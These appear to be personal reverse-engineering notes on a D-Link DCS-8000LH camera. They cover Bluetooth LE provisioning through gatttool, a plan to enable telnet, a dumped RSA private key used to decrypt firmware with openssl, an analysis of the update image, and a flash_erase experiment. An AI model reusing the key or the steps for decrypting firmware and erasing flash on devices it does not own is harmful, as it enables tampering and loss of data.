hci0 lescan +LE Scan ... +CC:B1:1A:1A:C6:A1 (unknown) +B0:C5:54:4C:CC:73 (unknown) +B0:C5:54:4C:CC:73 DCS-8000LH-CC73 +16:E6:00:43:3E:EA (unknown) +^C +root@miraculix:/tmp# gatttool -b B0:C5:54:4C:CC:73 -I +[B0:C5:54:4C:CC:73][LE]> connect +Attempting to connect to B0:C5:54:4C:CC:73 +Connection successful +[B0:C5:54:4C:CC:73][LE]> primary +attr handle: 0x0001, end grp handle: 0x0008 uuid: 00001800-0000-1000-8000-00805f9b34fb +attr handle: 0x0010, end grp handle: 0x0010 uuid: 00001801-0000-1000-8000-00805f9b34fb +attr handle: 0x0011, end grp handle: 0x002e uuid: 0000d001-0000-1000-8000-00805f9b34fb +[B0:C5:54:4C:CC:73][LE]> characteristics 0x0011 +handle: 0x0012, char properties: 0x12, char value handle: 0x0013, uuid: 0000a000-0000-1000-8000-00805f9b34fb +handle: 0x0015, char properties: 0x0a, char value handle: 0x0016, uuid: 0000a001-0000-1000-8000-00805f9b34fb +handle: 0x0017, char properties: 0x02, char value handle: 0x0018, uuid: 0000a100-0000-1000-8000-00805f9b34fb +handle: 0x0019, char properties: 0x0a, char value handle: 0x001a, uuid: 0000a101-0000-1000-8000-00805f9b34fb +handle: 0x001b, char properties: 0x08, char value handle: 0x001c, uuid: 0000a102-0000-1000-8000-00805f9b34fb +handle: 0x001d, char properties: 0x02, char value handle: 0x001e, uuid: 0000a103-0000-1000-8000-00805f9b34fb +handle: 0x001f, char properties: 0x02, char value handle: 0x0020, uuid: 0000a104-0000-1000-8000-00805f9b34fb +handle: 0x0021, char properties: 0x0a, char value handle: 0x0022, uuid: 0000a200-0000-1000-8000-00805f9b34fb +handle: 0x0023, char properties: 0x08, char value handle: 0x0024, uuid: 0000a201-0000-1000-8000-00805f9b34fb +handle: 0x0025, char properties: 0x0a, char value handle: 0x0026, uuid: 0000a300-0000-1000-8000-00805f9b34fb +handle: 0x0027, char properties: 0x02, char value handle: 0x0028, uuid: 0000a301-0000-1000-8000-00805f9b34fb +handle: 0x0029, char properties: 0x08, char value handle: 0x002a, uuid: 0000a302-0000-1000-8000-00805f9b34fb +handle: 0x002b, char properties: 0x08, char value handle: 0x002c, uuid: 0000a303-0000-1000-8000-00805f9b34fb +handle: 0x002d, char properties: 0x02, char value handle: 0x002e, uuid: 0000a304-0000-1000-8000-00805f9b34fb +[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0016 +Characteristic value/descriptor: 4d 3d 31 3b 43 3d 62 32 67 61 65 73 63 72 62 6c 64 63 68 6e 69 6b +[B0:C5:54:4C:CC:73][LE]> char-write-req 0x0016 4d3d303b4b3d6a727459366e4f4e513572562b325068 +Characteristic value was written successfully +[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x001a +Characteristic value/descriptor: 4d 3d 30 3b 49 3d 3b 53 3d 30 3b 45 3d 30 +[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0018 +Characteristic value/descriptor: 4e 3d 33 3b 50 3d 31 3b 4c 3d 49 3d 41 6e 74 69 62 6f 6b 73 2c 4d 3d 30 2c 43 3d 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 37 30 26 4c 3d 49 3d 41 53 56 31 37 2c 4d 3d 30 2c 43 3d 31 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 35 37 26 4c 3d 49 3d 41 53 56 31 37 2d 64 6c 69 6e 6b 2c 4d 3d 30 2c 43 3d 36 2c 53 3d 34 2c 45 3d 32 2c 50 3d 37 31 26 4c 3d 49 3d 66 6a 6f 72 64 65 31 32 33 2c 4d 3d 30 +[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0018 +Characteristic value/descriptor: 4e 3d 33 3b 50 3d 32 3b 2c 43 3d 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 35 38 26 4c 3d 49 3d 4b 6a 65 6c 6c 65 72 62 6f 64 2c 4d 3d 30 2c 43 3d 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 37 34 26 4c 3d 49 3d 6d 67 6d 74 2c 4d 3d 30 2c 43 3d 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 37 34 26 4c 3d 49 3d 6e 6f 72 61 6d 61 6a 61 5f 32 47 2c 4d 3d 30 2c 43 3d 31 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 34 +[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0018 +Characteristic value/descriptor: 4e 3d 33 3b 50 3d 33 3b 36 26 4c 3d 49 3d 52 69 6e 64 65 64 61 6c 2c 4d 3d 30 2c 43 3d 31 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 36 30 +[B0:C5:54:4C:CC:73][LE]> char-write-req 0x001a 4d3d303b493d4b6a656c6c6572626f643b533d343b453d323b4b3d7265646163746564 +Characteristic value was written successfully +[B0:C5:54:4C:CC:73][LE]> char-write-req 0x001c 433d31 +Characteristic value was written successfully +[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x001a +Characteristic value/descriptor: 4d 3d 30 3b 49 3d 4b 6a 65 6c 6c 65 72 62 6f 64 3b 53 3d 34 3b 45 3d 32 +[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0020 +Characteristic value/descriptor: 49 3d 31 39 32 2e 31 36 38 2e 32 2e 33 37 3b 4e 3d 32 35 35 2e 32 35 35 2e 32 35 35 2e 30 3b 47 3d 31 39 32 2e 31 36 38 2e 32 2e 31 3b 44 3d 31 34 38 2e 31 32 32 2e 31 36 2e 32 35 33 +[B0:C5:54:4C:CC:73][LE]> char-write-req 0x0016 4d3d313b4b3d6a727459366e4f4e513572562b325068 +Characteristic value was written successfully +[B0:C5:54:4C:CC:73][LE]> disconnect +``` + + + + + +## Ultimate automated control + + +Loose plan: + + 1. configure networking + 2. enable telnetd + 3. optional backup + 4. replace /opt with our prebaked version, having mostly /opt/opt.local and /opt/version (reported as mydlink version by both bluetooth and mdns - can be useful) + + + +Note that var/www/config/firmwareupgrade.cgi is a shell script.... We might abuse that. + +Useful info indeed: + +verifyFirmware() { + result=uploadSign + #tar tf "$UPLOADBIN" > /dev/null 2> /dev/null || return 1 + fw_sign_verify.sh "$UPLOADBIN" /etc/db/verify.key > /dev/null 2> /dev/null || return 1 + return 0 +} + +decryptFirmware() { + result=uploadDecrypt + pibinfo PriKey > $dir/decrypt.key 2> /dev/null + fw_decrypt.sh $dir/decrypt.key $out > /dev/null 2> /dev/null || return 1 + return 0 +} + + +Also note: + +fw-2.02.02/root/tmp/download/version_info:{"code": 0, "fw_ver_type": "REGULAR", "process_time": 210, "main_board": {"url": "https://mydlinkmpfw.auto.mydlink.com/DCS-8000LH/DCS-8000LH_Ax_v2.02.02_3014.bin", "fw_version": "2.02.02", "md5": "97c46e5b998df42c3363866e895aa11b"}, "release_version": "3.1.0-b03", "device_id": "B0C5544CCC73"} + + +Wow! The decryptkey is loaded into the pib! + +# pibinfo PriKey +-----BEGIN RSA PRIVATE KEY----- +MIICXQIBAAKBgQC87QYtji6c0odxDs5SON+lpP0WE52WMK4OuRo8mHL0HWi0bZe0 +dyDcJ6IO6EwKuIn0sJi5oY8/P0g3PAp4TTlZm6WBiwZ8XaPwnGY8Kd2lrcRvPR+0 +UJ07hQ4RvhfFmanN8KEhe/myKkMldO/reyW8nwRRJwc2OHEvZ81KfAppWwIDAQAB +AoGAKGeIqrV9woxD6yn/dhYzvnlKpy4KxdQjZYKw2cTA0PR5MB1AFJhlrq/LOOT1 +XlWZK3uZLhofSKeAClAM7S2W1fTbxmM8y/3g6c5Z3LbpNsvwVTWNp5ErbKMMeR+q +CnUA+NQ47f65EwUUyTIWhMcgINLjZT33Eg0DOPUVIoiDEgECQQDta5ehRLQQN8Tr +5OROwFrJA3qL4g+qmcnUrVfgDE/ro1zxcYluleg8ZCAJbhBgju7Y75voRlrZITkF +2dGFZq4PAkEAy7Xowx+az4ZU6Iw/AGmbv801digR9345UKZZNRLffLh0Hda2mPM+ +25whWWTMiPcY0ty9/MZovZvVyuYuxzHb9QJBAJlbEgpdMmH3Y/9rTf2ASiPlV1bb +onrz82aowUY7LbRrRTG/wKHpuqSnl/n/WhzEtorx2qbiKvRtfUPGOowMkwkCQGgi +n9BPcbYwd2tBdlthoUrVPkUeisC399iwkN2+vhxltoYiYsmhXzqof6vRCXXiyv/P +9Bcp3hU/enT0YmlVpZkCQQDmsui42t0uup3hj6ITZa2JRkCCUI7qyU0HrE65lj88 +s4IoUXr0RWUtnEbeDUbw2GtQVHNoldXVXSh30SDb6El7 +-----END RSA PRIVATE KEY----- + + +Helpful hint here https://stackoverflow.com/questions/34304570/how-to-resolve-the-evp-decryptfinal-ex-bad-decrypt-during-file-decryption : + +Default digest has changed between those versions from md5 to +sha256. One can specify the default digest on the command line as -md +sha256 or -md md5 respectively + + + +And this works!!! + + + +openssl rsautl -decrypt -in aes.key.rsa -inkey ~/docs/hardware/dlink/dcs8000lh/PriKey.pem -out aes.key +password=`cat aes.key` + + +bjorn@miraculix:/tmp/update2$ openssl aes-128-cbc -v -md md5 -kfile aes.key -nosalt -d -in update.bin.aes -out update.bin +bufsize=8192 +*** WARNING : deprecated key derivation used. +Using -iter or -pbkdf2 would be better. +bytes read : 936464 +bytes written: 936454 + + +bjorn@miraculix:/tmp/update$ openssl aes-128-cbc -v -md md5 -kfile aes.key -nosalt -d -in update.bin.aes -out update.bin +bufsize=8192 +*** WARNING : deprecated key derivation used. +Using -iter or -pbkdf2 would be better. +bytes read : 936416 +bytes written: 936413 + + + +Note that update.bin also is a shell script! + + + +bjorn@miraculix:/tmp/update$ sh update.bin info +MECH_SIGN="QPAT" +MECH_VERSION="1.0" +MECH_APP="doUpdate" +HWBOARD="r8000lh" +HWVERSION="1.0.0" +MODEL="DCS-8000LH" +PRODUCT="Internet Camera" +OEM="D-Link" +VENDOR="Alphanetworks" +VERSION="1.0.0-1515" +DESCRIPT="A full update image." +PACKAGE="" +bjorn@miraculix:/tmp/update$ sh update.bin brief + +This is a full update image. +It will update following, ... + 1. boot script. + 2. kernel. + 3. root system. +And after it is updated, the system will reboot in 1 second. + + + + +This is extremely useful: + +``` +change_root() { + mkdir -p /tmp/root + mount --bind /tmp/root /tmp/root + cd /tmp/root/ + mkdir -p bin sbin usr/bin lib sys proc mnt var dev media tmp + cd /bin + cp -arf busybox ash ln vi sh mount umount sync grep openssl tar cp mv ls cat sleep mkdir rmdir rm kill chmod ps /tmp/root/bin/ + cp -af /sbin/pivot_root /tmp/root/sbin/ + cp -af /sbin/reboot /tmp/root/sbin/ + cp -af /usr/bin/flash_erase /tmp/root/usr/bin/ + cp -af /usr/bin/free /tmp/root/usr/bin/ + cp -af /usr/bin/cut /tmp/root/usr/bin/ + cp -af /usr/bin/expr /tmp/root/usr/bin/ + cd /lib + cp -arf libssl.so* libcrypt* ld-uClibc* libgcc* libuClibc-0.9.33.so libpthread* libc.* libm-* libm.* libmtd.so libdl* /tmp/root/lib/ + + /bin/mount -o noatimve,move /proc /tmp/root/proc + /sbin/pivot_root /var/tmp/root /var/tmp/root/mnt + cp -arf /mnt/dev/* /dev/ + ln -sf /bin/busybox /usr/bin/[ + ln -sf /bin/busybox /usr/bin/[[ + ln -sf /bin/busybox /usr/bin/] + mkdir -p /etc/openssl/ + cp -f /mnt/etc/openssl/openssl.cnf /etc/openssl/ + mount --bind /mnt/tmp /tmp + /bin/umount -l /mnt + echo 3 > /proc/sys/vm/drop_caches + /bin/sync + cd / + busybox killall dbd + busybox killall lighttpd + busybox killall watchDog + #exec /bin/busybox sh +} +``` + + + + +Note that update.bin is almost identical in the two sample archives - the ddPack binary is exactly the same: + + +``` +bjorn@miraculix:/tmp$ diff -u update{,2}/update.bin|less +--- update/update.bin 2019-05-10 15:02:35.722407365 +0200 ++++ update2/update.bin 2019-05-10 15:02:18.802296356 +0200 +@@ -5,7 +5,7 @@ + OEM="D-Link" + MODEL="DCS-8000LH" + PRODUCT="Internet Camera" +-VERSION="1.0.0-1515" ++VERSION="1.0.0-3014" + PACKAGE="" + WIRELESS_MODULE="RTL8723BU" + # the DESCRIPT must be xml encoded. +@@ -24,7 +24,7 @@ + " + } + +-MD5SUM="f91196794237bd39bd7040919d65cbdf" ++MD5SUM="ca8aab5cda35beaab74ce9fdad65f909" + + MECH_SIGN="QPAT" + MECH_VERSION="1.0" +@@ -52,7 +52,7 @@ + } + + extract_ddpack() { +- head -n 15453 $1 | tail -n +165 | uudecode -o /tmp/ddPack ++ head -n 15454 $1 | tail -n +166 | uudecode -o /tmp/ddPack + } + + dumpPibSettings() { +@@ -124,6 +124,7 @@ + cp -arf libssl.so* libcrypt* ld-uClibc* libgcc* libuClibc-0.9.33.so libpthread* libc.* libm-* libm.* libmtd.so libdl* /tmp/root/lib/ + + /bin/mount -o noatimve,move /proc /tmp/root/proc ++ /bin/mount -t sysfs sysfs /tmp/root/sys + /sbin/pivot_root /var/tmp/root /var/tmp/root/mnt + cp -arf /mnt/dev/* /dev/ + ln -sf /bin/busybox /usr/bin/[ +``` + + + + +``` +bjorn@miraculix:/tmp/update$ hexdump -C update |head -16 +00000000 53 b6 3b 76 d5 56 dc a3 fb 82 ff 82 31 1c 8e f4 |S.;v.V......1...| +00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +00000020 75 70 64 61 74 65 2d 67 65 6e 65 72 69 63 5f 31 |update-generic_1| +00000030 2e 30 2e 30 5f 33 36 32 35 2e 62 69 6e 00 00 00 |.0.0_3625.bin...| +00000040 03 00 00 00 ff 00 00 00 00 00 06 00 00 60 02 00 |.............`..| +00000050 00 00 00 00 f2 10 f1 bf ff 00 00 00 00 00 1e 00 |................| +00000060 9e 5b 19 00 00 00 00 00 bb 1e e8 0a ff 00 00 00 |.[..............| +00000070 00 00 4e 00 00 50 80 00 00 00 00 00 12 6c ad 99 |..N..P.......l..| +00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +* +00000400 68 73 71 73 0d 00 00 00 07 42 0b 5a 00 00 02 00 |hsqs.....B.Z....| +00000410 02 00 00 00 04 00 11 00 e0 00 01 00 04 00 00 00 |................| +00000420 91 01 00 00 00 00 00 00 a0 5c 02 00 00 00 00 00 |.........\......| +00000430 98 5c 02 00 00 00 00 00 ff ff ff ff ff ff ff ff |.\..............| +00000440 48 5a 02 00 00 00 00 00 3a 5b 02 00 00 00 00 00 |HZ......:[......| +00000450 24 5c 02 00 00 00 00 00 8a 5c 02 00 00 00 00 00 |$\.......\......| + +bjorn@miraculix:/tmp/update$ binwalk update + +DECIMAL HEXADECIMAL DESCRIPTION +-------------------------------------------------------------------------------- +1024 0x400 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 154784 bytes, 13 inodes, blocksize: 131072 bytes, created: 2017-11-14 19:20:39 +156672 0x26400 uImage header, header size: 64 bytes, header CRC: 0x63BA4812, created: 2017-11-14 18:53:33, image size: 1661790 bytes, Data Address: 0x804D4960, Entry Point: 0x804D4960, data CRC: 0xAF348ADF, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: none, image name: "linux_3.10" +1818526 0x1BBF9E Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8408112 bytes, 2142 inodes, blocksize: 131072 bytes, created: 2017-11-14 19:21:12 +``` + + + +``` +bjorn@miraculix:/tmp/update2$ hexdump -C update |head -16 +00000000 84 dd 19 a9 dc 69 0b 10 1b 6d 72 09 43 04 f7 f4 |.....i...mr.C...| +00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +00000020 75 70 64 61 74 65 2d 67 65 6e 65 72 69 63 5f 31 |update-generic_1| +00000030 2e 30 2e 30 5f 33 36 32 35 2e 62 69 6e 00 00 00 |.0.0_3625.bin...| +00000040 03 00 00 00 ff 00 00 00 00 00 06 00 00 30 05 00 |.............0..| +00000050 00 00 00 00 8e 91 0e 7e ff 00 00 00 00 00 1e 00 |.......~........| +00000060 c3 5a 19 00 00 00 00 00 0e 5b d0 18 ff 00 00 00 |.Z.......[......| +00000070 00 00 4e 00 00 20 7e 00 00 00 00 00 f4 2f 3c fb |..N.. ~....../<.| +00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +* +00000400 68 73 71 73 10 00 00 00 c4 3b 65 5c 00 00 02 00 |hsqs.....;e\....| +00000410 02 00 00 00 04 00 11 00 e0 00 01 00 04 00 00 00 |................| +00000420 05 02 00 00 00 00 00 00 43 2b 05 00 00 00 00 00 |........C+......| +00000430 3b 2b 05 00 00 00 00 00 ff ff ff ff ff ff ff ff |;+..............| +00000440 78 28 05 00 00 00 00 00 96 29 05 00 00 00 00 00 |x(.......)......| +00000450 b7 2a 05 00 00 00 00 00 2d 2b 05 00 00 00 00 00 |.*......-+......| + +bjorn@miraculix:/tmp/update2$ binwalk update + +DECIMAL HEXADECIMAL DESCRIPTION +-------------------------------------------------------------------------------- +1024 0x400 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 338755 bytes, 16 inodes, blocksize: 131072 bytes, created: 2019-02-14 09:58:28 +340992 0x53400 uImage header, header size: 64 bytes, header CRC: 0x675F081D, created: 2019-02-14 09:31:53, image size: 1661571 bytes, Data Address: 0x804D4960, Entry Point: 0x804D4960, data CRC: 0x73083021, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: none, image name: "linux_3.10" +2002627 0x1E8EC3 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8265620 bytes, 2145 inodes, blocksize: 131072 bytes, created: 2019-02-14 09:58:45 + +bjorn@miraculix:/tmp/update2$ cmp _update.extracted/400.squashfs ~/docs/hardware/dlink/dcs8000lh/fw-2.02.02/mtd/mtd2 +_update.extracted/400.squashfs /home/bjorn/docs/hardware/dlink/dcs8000lh/fw-2.02.02/mtd/mtd2 differ: byte 339969, line 1341 + + + +bjorn@miraculix:/tmp/update2$ hexdump -C ~/docs/hardware/dlink/dcs8000lh/fw-2.02.02/mtd/mtd2 |tail -20 +00052a70 00 02 00 01 00 73 61 c1 01 09 00 02 00 06 00 73 |.....sa........s| +00052a80 74 72 6d 73 76 72 e5 01 0a 00 02 00 06 00 76 65 |trmsvr........ve| +00052a90 72 73 69 6f 6e 20 80 d4 be 04 00 00 00 00 00 a4 |rsion ..........| +00052aa0 69 00 00 00 00 00 00 ec 47 04 00 00 00 00 00 e8 |i.......G.......| +00052ab0 76 00 00 00 00 00 00 95 2a 05 00 00 00 00 00 6c |v.......*......l| +00052ac0 00 fd 37 7a 58 5a 00 00 01 69 22 de 36 03 c0 31 |..7zXZ...i".6..1| +00052ad0 80 01 21 01 02 00 00 00 00 d5 63 7a 58 e0 00 7f |..!.......czX...| +00052ae0 00 29 5d 00 02 80 8c c2 fd 03 13 13 bd 99 05 db |.)].............| +00052af0 e5 85 88 7a 67 d4 1e 28 ef a3 03 b2 03 4e 9e c5 |...zg..(.....N..| +00052b00 54 57 16 26 a7 2a 6b c0 71 9a 2b c4 e0 00 00 00 |TW.&.*k.q.+.....| +00052b10 00 13 b2 2b 6f 00 01 45 80 01 00 00 00 f5 98 9a |...+o..E........| +00052b20 95 3e 30 0d 8b 02 00 00 00 00 01 59 5a bf 2a 05 |.>0........YZ.*.| +00052b30 00 00 00 00 00 04 80 00 00 00 00 35 2b 05 00 00 |...........5+...| +00052b40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +* +00053000 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| +* +00060000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +* +00100000 + + + +bjorn@miraculix:/tmp/update2$ hexdump -C _update.extracted/400.squashfs |egrep '^0005(2[b-f]|30)' +00052b00 54 57 16 26 a7 2a 6b c0 71 9a 2b c4 e0 00 00 00 |TW.&.*k.q.+.....| +00052b10 00 13 b2 2b 6f 00 01 45 80 01 00 00 00 f5 98 9a |...+o..E........| +00052b20 95 3e 30 0d 8b 02 00 00 00 00 01 59 5a bf 2a 05 |.>0........YZ.*.| +00052b30 00 00 00 00 00 04 80 00 00 00 00 35 2b 05 00 00 |...........5+...| +00052b40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +00053000 27 05 19 56 67 5f 08 1d 5c 65 35 89 00 19 5a 83 |'..Vg_..\e5...Z.| +00053010 80 4d 49 60 80 4d 49 60 73 08 30 21 05 05 02 00 |.MI`.MI`s.0!....| +00053020 6c 69 6e 75 78 5f 33 2e 31 30 00 00 00 00 00 00 |linux_3.10......| +00053030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +00053040 21 80 80 00 21 88 a0 00 21 90 c0 00 21 98 e0 00 |!...!...!...!...| +00053050 67 80 04 3c f0 a3 84 24 a7 80 06 3c 00 c4 c6 24 |g..<...$...<...$| +00053060 00 00 80 ac fe ff c4 14 04 00 84 24 67 80 04 3c |...........$g..<| +00053070 00 a4 84 24 a7 80 1d 3c 00 c4 bd 27 4d 80 1f 3c |...$...<...'M..<| +00053080 b4 49 ff 27 4d 80 1a 3c 4c 4c 5a 27 08 00 40 03 |.I.'M..<LLZ'..@.| +00053090 00 00 00 00 21 20 00 02 21 28 20 02 21 30 40 02 |....! ..!( .!0@.| +000530a0 21 38 60 02 3c 80 1a 3c e0 98 5a 37 08 00 40 03 |!8`.<..<..Z7..@.| +000530b0 00 00 00 00 ff ff 00 10 00 00 00 00 00 00 00 00 |................| +000530c0 03 00 81 04 67 80 18 3c 08 00 e0 03 21 10 00 00 |....g..<....!...| +000530d0 fc a3 02 8f 05 00 40 14 fc ff 03 24 67 80 02 3c |......@....$g..<| +000530e0 f4 a3 42 8c fc a3 02 af fc a3 02 8f 03 00 42 24 |..B...........B$| +000530f0 24 10 43 00 21 20 82 00 fc a3 04 af 67 80 18 3c |$.C.! ......g..<| + + +bjorn@miraculix:/tmp/update2$ hexdump -C ~/docs/hardware/dlink/dcs8000lh/fw-2.02.02/mtd/mtd2 |egrep '^0005(2[b-f]|300)' +00052b00 54 57 16 26 a7 2a 6b c0 71 9a 2b c4 e0 00 00 00 |TW.&.*k.q.+.....| +00052b10 00 13 b2 2b 6f 00 01 45 80 01 00 00 00 f5 98 9a |...+o..E........| +00052b20 95 3e 30 0d 8b 02 00 00 00 00 01 59 5a bf 2a 05 |.>0........YZ.*.| +00052b30 00 00 00 00 00 04 80 00 00 00 00 35 2b 05 00 00 |...........5+...| +00052b40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +00053000 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| + + +bjorn@miraculix:/tmp/update2$ hexdump -C _update.extracted/400.squashfs |tail -20 +000ffed0 31 a7 7c a3 ec 78 cf 09 b4 e3 e3 72 c4 00 99 70 |1.|..x.....r...p| +000ffee0 92 a3 5b 89 1a 7a ad 0e b8 0b 37 5f b1 a6 d9 3b |..[..z....7_...;| +000ffef0 46 ad ad 8f 16 21 94 c3 a9 39 94 f6 c6 2a 42 8e |F....!...9...*B.| +000fff00 c5 56 27 af a4 b9 3f 8b 52 1d 05 a3 7e 3f d3 c1 |.V'...?.R...~?..| +000fff10 9b e0 e5 5c a3 cd b6 e8 9a 5f 8c 3c b6 8b 0f e7 |...\....._.<....| +000fff20 17 2f e9 ed ce 9e b8 97 6d 7c a0 44 6f 42 a0 d0 |./......m|.DoB..| +000fff30 29 de 24 34 46 1c a6 98 a1 92 39 68 cf 99 e9 4f |).$4F.....9h...O| +000fff40 e7 b3 df 76 40 5a e4 80 ac 38 bc 80 fb b6 f9 4e |...v@Z...8.....N| +000fff50 87 fb da 3c 47 a7 65 ff f4 94 f2 71 3f a0 59 80 |...<G.e....q?.Y.| +000fff60 86 22 db bb a6 15 13 51 07 8d b0 50 70 b7 85 a9 |.".....Q...Pp...| +000fff70 08 97 54 ee 93 3f 96 b3 22 b3 7b 1d 74 cb b1 00 |..T..?..".{.t...| +000fff80 c6 d1 4f 25 d7 cd 86 8f 7d a2 6a c7 12 2f 6d 65 |..O%....}.j../me| +000fff90 6e 14 ae 2f 75 02 9c be 25 e5 82 e8 24 70 4c 45 |n../u...%...$pLE| +000fffa0 4c 39 24 a4 f9 0c 5f 48 21 9d de 71 8d 30 cd 6e |L9$..._H!..q.0.n| +000fffb0 50 75 8f 28 14 1f 00 e3 5a d4 24 e5 50 4d 21 c1 |Pu.(....Z.$.PM!.| +000fffc0 f1 fd b9 ed e8 c4 42 5e b4 6a 2f 96 12 86 21 78 |......B^.j/...!x| +000fffd0 b7 12 11 1c 51 cb a9 21 33 0b 7c 96 4e 0b 6e c4 |....Q..!3.|.N.n.| +000fffe0 61 cc d2 0a 61 30 67 2c d3 d4 0f ee 7b 3a 8e 80 |a...a0g,....{:..| +000ffff0 dd af 1b d1 1d 29 db 84 82 45 f5 32 8d 44 6a 4c |.....)...E.2.DjL| +00100000 + +``` + + +Note that there are lots of compressed 00 byte lines between 00052b40 +and 00053000 above. And 0x53000 is 339968. + + + +While the rootfs seems to be just big enough, and there has no extra data: + +``` +bjorn@miraculix:/tmp/update2$ hexdump -C _update.extracted/1E8EC3.squashfs|tail -20 +007e1e80 bd 80 eb 69 d2 14 8c 15 2b b7 02 f7 9e dc f4 f6 |...i....+.......| +007e1e90 5d fb b1 a5 64 4b 98 0a 40 68 c8 70 13 c7 52 55 |]...dK..@h.p..RU| +007e1ea0 59 42 7e 72 f8 ab d8 c1 4e 7c 8b ea d5 65 aa 47 |YB~r....N|...e.G| +007e1eb0 59 a4 b9 40 43 c1 6a f7 58 b3 cd bb 4e c1 68 26 |Y..@C.j.X...N.h&| +007e1ec0 37 22 35 a0 05 19 42 3c 48 c0 08 95 89 19 51 9d |7"5...B<H.....Q.| +007e1ed0 e6 d8 87 4c c5 39 ef e7 6e ad fb 24 ca b1 1b 5f |...L.9..n..$..._| +007e1ee0 b3 c9 e4 c3 c3 d3 b0 a3 43 48 e6 26 e1 80 ad f9 |........CH.&....| +007e1ef0 95 38 36 dd 1a b4 ab 59 03 ee e3 1e 9b f5 64 43 |.86....Y......dC| +007e1f00 ce 44 1c 20 6e e7 77 23 ed 20 9c 90 4b 00 d5 01 |.D. n.w#. ..K...| +007e1f10 1e 1c dd c4 7b 96 f2 1d 47 ae 2e e0 5c 51 6c 54 |....{...G...\QlT| +007e1f20 9b e7 92 66 5e 33 98 00 e0 79 b9 3c f8 01 38 d5 |...f^3...y.<..8.| +007e1f30 82 1b 11 48 66 be 0a 7c b7 19 c3 7c 0d be 91 27 |...Hf..|...|...'| +007e1f40 95 32 0b 13 78 6a 49 dd f6 f4 a1 3f e3 00 a1 63 |.2..xjI....?...c| +007e1f50 86 16 00 01 84 02 88 06 00 00 15 33 d4 10 3e 30 |...........3..>0| +007e1f60 0d 8b 02 00 00 00 00 01 59 5a 08 0d 7e 00 00 00 |........YZ..~...| +007e1f70 00 00 d2 15 7e 00 00 00 00 00 40 1e 7e 00 00 00 |....~.....@.~...| +007e1f80 00 00 08 80 75 00 00 00 7d 00 00 00 82 1f 7e 00 |....u...}.....~.| +007e1f90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +* +007e2000 + + +bjorn@miraculix:/tmp/update2$ hexdump -C ~/docs/hardware/dlink/dcs8000lh/fw-2.02.02/mtd/mtd8 |tail -22 +007e1e80 bd 80 eb 69 d2 14 8c 15 2b b7 02 f7 9e dc f4 f6 |...i....+.......| +007e1e90 5d fb b1 a5 64 4b 98 0a 40 68 c8 70 13 c7 52 55 |]...dK..@h.p..RU| +007e1ea0 59 42 7e 72 f8 ab d8 c1 4e 7c 8b ea d5 65 aa 47 |YB~r....N|...e.G| +007e1eb0 59 a4 b9 40 43 c1 6a f7 58 b3 cd bb 4e c1 68 26 |Y..@C.j.X...N.h&| +007e1ec0 37 22 35 a0 05 19 42 3c 48 c0 08 95 89 19 51 9d |7"5...B<H.....Q.| +007e1ed0 e6 d8 87 4c c5 39 ef e7 6e ad fb 24 ca b1 1b 5f |...L.9..n..$..._| +007e1ee0 b3 c9 e4 c3 c3 d3 b0 a3 43 48 e6 26 e1 80 ad f9 |........CH.&....| +007e1ef0 95 38 36 dd 1a b4 ab 59 03 ee e3 1e 9b f5 64 43 |.86....Y......dC| +007e1f00 ce 44 1c 20 6e e7 77 23 ed 20 9c 90 4b 00 d5 01 |.D. n.w#. ..K...| +007e1f10 1e 1c dd c4 7b 96 f2 1d 47 ae 2e e0 5c 51 6c 54 |....{...G...\QlT| +007e1f20 9b e7 92 66 5e 33 98 00 e0 79 b9 3c f8 01 38 d5 |...f^3...y.<..8.| +007e1f30 82 1b 11 48 66 be 0a 7c b7 19 c3 7c 0d be 91 27 |...Hf..|...|...'| +007e1f40 95 32 0b 13 78 6a 49 dd f6 f4 a1 3f e3 00 a1 63 |.2..xjI....?...c| +007e1f50 86 16 00 01 84 02 88 06 00 00 15 33 d4 10 3e 30 |...........3..>0| +007e1f60 0d 8b 02 00 00 00 00 01 59 5a 08 0d 7e 00 00 00 |........YZ..~...| +007e1f70 00 00 d2 15 7e 00 00 00 00 00 40 1e 7e 00 00 00 |....~.....@.~...| +007e1f80 00 00 08 80 75 00 00 00 7d 00 00 00 82 1f 7e 00 |....u...}.....~.| +007e1f90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +* +007e2000 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| +* +00b00000 +``` + +Experiment: + +``` +# flash_erase -j /dev/mtd4 0 2 +Erasing 64 Kibyte @ 0 -- 0 % complete flash_erase: Cleanmarker written at 0 +Erasing 64 Kibyte @ 10000 -- 50 % complete flash_erase: Cleanmarker written at 10000 +Erasing 64 Kibyte @ 10000 -- 100 % complete + +# mount -t jffs2 /dev/mtdblock4 